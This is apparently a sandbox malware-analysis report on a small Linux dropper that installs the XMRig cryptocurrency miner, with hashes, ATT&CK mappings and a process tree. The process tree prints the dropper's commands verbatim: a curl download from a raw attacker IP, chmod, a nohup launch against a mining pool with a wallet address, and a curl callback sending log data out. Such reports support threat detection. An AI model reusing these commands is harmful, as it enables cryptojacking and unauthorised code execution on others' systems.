xmrig_linux | 951aa2b3915d9b352bbf5a7981c35140d3fe4a42a77b412d6025b77dd5e887fa

Analysis

max time kernel
32s
max time network
34s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/10/2026, 04:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
951aa2b3915d9b352bbf5a7981c35140d3fe4a42a77b412d6025b77dd5e887fa
Size 940B
Sample261021-e6wklshx5w
SHA256 951aa2b3915d9b352bbf5a7981c35140d3fe4a42a77b412d6025b77dd5e887fa
MD5 9c9e2727e8a19c1ddd88fabd46178e77
SHA1 59095f6175b0238c35cc21ef4d680529e9e59ded
SHA512 bfdb46b1f727efed7261b9c2bc16e62cdb3b3ed0db8c6d5d05a39846b0392bc328b77febe7bd29e5c12cfc6b610f07c8c2a216dfb34d705e2a6802c6644ae6a2
TLSH
T1781123E4AD609931384DC445AD09A16DC482426A2EBF2AE990B33E34505C589BE2CAE2
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig_linux miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
673	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig-6.22.2/xmrig	676	nohup

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
674	ps

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/43/status	ps
File opened for reading	/proc/296/cmdline	ps
File opened for reading	/proc/297/cmdline	ps
File opened for reading	/proc/566/cmdline	ps
File opened for reading	/proc/585/cmdline	ps
File opened for reading	/proc/586/cmdline	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/19/cmdline	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/293/stat	ps
File opened for reading	/proc/321/stat	ps
File opened for reading	/proc/633/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/26/cmdline	ps
File opened for reading	/proc/109/stat	ps
File opened for reading	/proc/305/status	ps
File opened for reading	/proc/580/stat	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/283/cmdline	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/636/stat	ps
File opened for reading	/proc/670/stat	ps
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/28/cmdline	ps
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/135/cmdline	ps
File opened for reading	/proc/314/status	ps
File opened for reading	/proc/585/status	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/135/stat	ps
File opened for reading	/proc/586/stat	ps
File opened for reading	/proc/634/status	ps
File opened for reading	/proc/642/cmdline	ps
File opened for reading	/proc/644/cmdline	ps
File opened for reading	/proc/675/cmdline	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/97/cmdline	ps
File opened for reading	/proc/169/status	ps
File opened for reading	/proc/314/cmdline	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/97/status	ps
File opened for reading	/proc/296/status	ps
File opened for reading	/proc/325/status	ps
File opened for reading	/proc/634/stat	ps
File opened for reading	/proc/644/stat	ps
File opened for reading	/proc/675/stat	ps
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/23/status	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
767	curl

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.22.2/xmrig	curl
File opened for modification	/tmp/.m.log	951aa2b3915d9b352bbf5a7981c35140d3fe4a42a77b412d6025b77dd5e887fa
File opened for modification	/tmp/S�@@p�~@8	sh

/tmp/951aa2b3915d9b352bbf5a7981c35140d3fe4a42a77b412d6025b77dd5e887fa
/tmp/951aa2b3915d9b352bbf5a7981c35140d3fe4a42a77b412d6025b77dd5e887fa
1⤵
- Writes file to tmp directory
PID:644
- /bin/mkdir
  mkdir -p /tmp/xmrig-6.22.2
  2⤵
  PID:646
- /usr/bin/curl
  curl -m 120 -o /tmp/xmrig-6.22.2/xmrig http://195.85.114.192/xmrig-6.22.2/xmrig
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:648
- /bin/chmod
  chmod +x /tmp/xmrig-6.22.2/xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /bin/grep
  grep "[x]mrig-6.22.2"
  2⤵
  PID:675
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:674
- /bin/sleep
  sleep 30
  2⤵
  PID:677
- /usr/bin/nohup
  nohup /tmp/xmrig-6.22.2/xmrig "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p conf "--threads=2"
  2⤵
  - Executes dropped EXE
  PID:676
- /tmp/xmrig-6.22.2/xmrig
  /tmp/xmrig-6.22.2/xmrig "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p conf "--threads=2"
  2⤵
  PID:676
- /bin/sh
  /bin/sh /tmp/xmrig-6.22.2/xmrig "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p conf "--threads=2"
  2⤵
  - Writes file to tmp directory
  PID:676
- /usr/bin/tr
  tr -c "a-zA-Z0-9 ." _
  2⤵
  PID:766
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:765
- /usr/bin/tail
  tail -c 150 /tmp/.m.log
  2⤵
  PID:764
- /usr/bin/curl
  curl -m 8 "http://195.85.114.192/cb?ip=x&r=_xmrig_ 1_ _tmp_xmrig_6.22.2_xmrig_ _ELF_____ not found_tmp_xmrig_6.22.2_xmrig_ 1_ _tmp_xmrig_6.22.2_xmrig_ Syntax error_ Unterminated quoted string"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:767

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.m.log

Path /tmp/.m.log
Size 73B
SHA256 71cbfbf97f52e9774fb7b9a099524e82e24efdc67c2294325ca7144c4332d154
MD5 bd1b74349f800a5ef9d0179ba42dc8e3
SHA1 93e069a55469098ad4e7491b6d165392c103cab2
SHA512 89201501244769b6f265275462f19c7e864aeb2187b24a1df266c674321e4f30f7ea9d12c6fb0fdb9e924300fce2beff621e8944a6f95ce576e7e8aad5244b67
TLSH
T10DA0024D0DD145C60C02D0600E50046DC054112A6F2B01F52C36643C8080680BDB01EA
MD5 SHA1 SHA512 TLSH

Submit Download

.m.log

Path /tmp/.m.log
Size 167B
SHA256 952de5c335f19982ba5143c2dba93562e3ebfa7a2207fd8f5d3975985b023ad6
MD5 c2501d2704a0547b9ffd3181d7347bb4
SHA1 8d05abbdb1e49bf56d73992e8541b7de3269fbfe
SHA512 0eb7dc0148fbae69220536b8f50131107a3ae79a26ce22600d78ef184fec39dcb25058931278815a86e4a15cb53ca81d8e5b33b49cc6ff3d8fe8cbdf35f787fa
TLSH
T11FC048190DD245C60C12D0A04E60066CC10112AE3F7B21F52C7A203EC085A80BCF46EA
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.22.2/xmrig
Size 7.9MB
SHA256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
MD5 8f4fff0ded94f1141768220906abfbb8
SHA1 ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA512 0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrepM:bl4lcmDi1WIPFCBNcJ7oEkLsQ
TLSH
T134866C47B5E318FDC19AC470472FD6A3BD7078A84221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads